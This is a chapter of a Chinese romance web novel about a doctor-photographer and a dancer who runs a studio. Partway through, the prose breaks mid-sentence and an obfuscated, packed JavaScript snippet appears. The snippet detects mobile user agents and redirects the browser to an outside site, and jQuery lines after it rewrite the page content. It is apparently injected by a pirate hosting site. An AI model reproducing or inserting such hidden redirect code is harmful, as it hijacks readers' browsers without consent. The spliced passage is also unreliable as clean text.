五年前的姜与，青涩还未褪尽。
视频里她出现在聚光灯投射的黑暗中，画面随光圈扩大逐渐展开，镜头由近拉远，一个人的挣扎变成一群人的抗衡。
困兽，匍匐，蹒跚，重创再一次次涅槃，视线紧锁前方，坚定决绝叫人生出畏惧胆寒。对，她要它怕，她要命运知道不过如此。撕碎扼在喉咙的利爪，虽双膝跪地但仍旧不屈望向指尖奋力触碰的上方。
她是她人生最坚定的信徒。
…………
…………
像突然被抽走了所有情绪，心里是一种万籁俱寂的落寞。
段野不知道该如何形容这两分钟。戛然而止的音乐带不走冲撞视听和精神的强烈。震撼？不，他觉得难过。他被带进去了。他不认为凭空臆想能创作出这样的东西。他不知道她经历过什么，不知道她为何如此纠缠，不知道她究竟是以怎样的一种情绪在舞蹈。他只是胸口滞闷的难受。
段野没再往下看其他的视频。内心直觉在提醒，她，于他，或许难以企及。
.
.
赵磊，赵师傅，人高马大声如贯耳雷，闯祸的时候谁都能吼他一声“赵大雷”，是高段野两届的住院医，这天找上段野请他帮忙拍照。
段野小时候，有一段时间段爸爸迷上了摄影，人菜瘾大装备全，学来一点知识就拉着段野开讲，久而久之小段也跟着耳濡目染。
段野三年级的时候两人参加了一个踏春亲子摄影比赛，老段报的名，兴致勃勃。那时候数码在国内已经全面普及，小段野用的胶片相机，熟练的技术赢得一众大人哇哇称赞，最后拿了个第二名。老段的奖状则是重在参与，备受打击，从此封机锁爱，换来了冯女士，aka段家实际权力拥有者段野他妈好长一段时间的无情嘲笑。
后来段野生日爸妈送了他一个微单，一直用到现在。他其实对摄影没什么特别的兴趣和追求，就是习惯随手拍点东西，偶尔上传到社交平台，权当记录。
上大学后不知道谁转发了哪张照片突然就小范围出圈了，校内大小活动开始有人找他，甚至还有些私活，靠这个时不时能赚点零用他倒也没什么不乐意。
“结婚这么大事你找我？”段野不敢揽这瓷器活儿。
“二婚。”
“……几婚也是大事啊。”
“不是，”赵磊中指推了推眼镜，“我姐头一次的时候什么都没办就领了个证，孙子没能力不上进也就罢了还特么玩儿的花。这回我姐夫说要好好儿办，我姐也想拍点儿有意义的。你放心，婚礼跟拍团队都有，我姐意思就是想要个朋友视角记录一点儿日常，轻轻松松的那种。她不知道打哪儿听说的你，反正她说她喜欢你的风格。你放心，钱一定到位。”
“……不是钱的问题，我就是瞎玩的又不专业万一拍毁了怎么办。”
“没事儿没事儿，瞎玩儿的最好。我姐说了，就要不刻意又审美在线的感觉。你可别拒绝我啊这点儿事儿都办不好我回去得挨揍……不过你要是没空不想去那我肯定不逼你。”
.
七月的森林婚礼，绿叶青草地。树丛挡去了炎热，光透过缝隙斑驳脚下的白色雏菊。
段野兢兢业业在新娘化妆前就到了。赵磊姐姐和赵磊一样，大大咧咧看起来没心没肺。接亲的时候伴娘履行职责要堵门，她给伴娘一人塞一个红包抱着婚鞋大摇大摆自己走了。门口的新郎看着她眼里盈满温柔。
婚礼仪式上播放两个人从小到大的相片。新娘从一个穿着花裙子扛着塑料枪的风火女孩长成眼里写满故事的大人。有几张照片时间应该是两三年前，女孩，不，女人消瘦，没有一张直视镜头，眼里没有光。在场知道实情的人都红了眼，新郎在没有人注意到的地方默默攥紧了新娘的手。
赵磊说这是姐姐执意加进去的。她说上一段失败的婚姻是她的疤，她要看着丑陋的过往才会更爱自己。
仪式忙碌顾不上吃饭，新郎张开手心，里面躺着一颗奶糖。他剥给她吃，她笑了，仿佛又是当年扛枪的女孩。
段野看着相机里捕捉到的故事。一个女孩到女人的蜕变，她经历了什么？
所以过去五年她到底经历了什么。
.
还是鼓起勇气看完了姜与所有的视频。
原来她有这么多样子。
帅气的，凶狠的，感性的，高傲的，热烈的，冷然的，温暖的……
她把故事化为律动，用肢体宣泄所有情绪。
仿佛窥探了她的日记。
一页欢闹雀跃，一页孤寂落寞。
原来她这样灵动。
.
.
夏季向来是工作室最忙的时候。
暑假将至，大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490290|185824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子小孩子蜂拥而来。除了日常课程，暑期班、少儿班、集训班，大课小课，平时清闲的工作日白天也排得满满当当。
干这些活的当然是姜与，小毛增加的工作量有一半落在了她身上。老师们忙得飞起，姜与也要跟着协调时间、教室，排课表。还有每年大家最期待的暑期派对，今年她打算放在七夕那天，活动策划装饰布景都得她亲自操刀。另外之前接洽的两个商务她也得跟进。总之，起早贪黑，作息紊乱，几乎所有时间都泡在工作室里。
蓝序也报了暑假班，跟书清一起。从早到晚，两人要住在舞房里的架势让姜与哭笑不得。好好的假期倒是留一点时间去玩去约会啊。
书清不好意，“他回老家了。”
蓝序尔康手一挥，“别，老师你跟我谈感情就伤感情了。”
小毛在旁边扑哧笑出声，“走吃饭去，不带那个有男人的。”
书清委屈：老师你看她。
姜与站在原地看着跑远的两人：？
总之，忙忙碌碌热热闹闹，日子挺开心。
跟这些年轻的孩子一起她总是开心的。
.
等一切都安排好暑假正式开启姜与终于清闲下来。
有阵子没见田螺男小伙，姜与发现他变了。
不再像之前傻愣愣又藏着小心思的模样。他看她的眼神变得很，奇怪。
像同情又像崇敬还是带点一言难尽？不好说。姜与觉得那是看将死战友或者看傻逼的表情。反正还从没有人用如此复杂的眼神看过她。
就莫名其妙。
还有他好像放弃默默奉献人设改走不要脸路线了？除了打招呼不再搬杠铃那些有的没的，回去的时候她骑车他就扫一辆旁边的小绿说顺路，她改乘地铁他也跟着一起去车站说累了骑不动，分开的时候会问她明天几点来，然后龇个大牙十分笃定地说“明天见”。
姜与：……
终于有一天，他像个狗皮膏药粘在姜与身后拿着个香蕉说给她补充快碳的时候，姜与忍不了了。
揣测他这种要做不做有话又不开口的状态搞得姜与快要神经衰弱了。
忍不了，忍不了一点，不忍了。
姜与突然站定，转身，借着路灯直直盯着那张看起来似乎傻白甜的脸。
“你要约我？”
.
.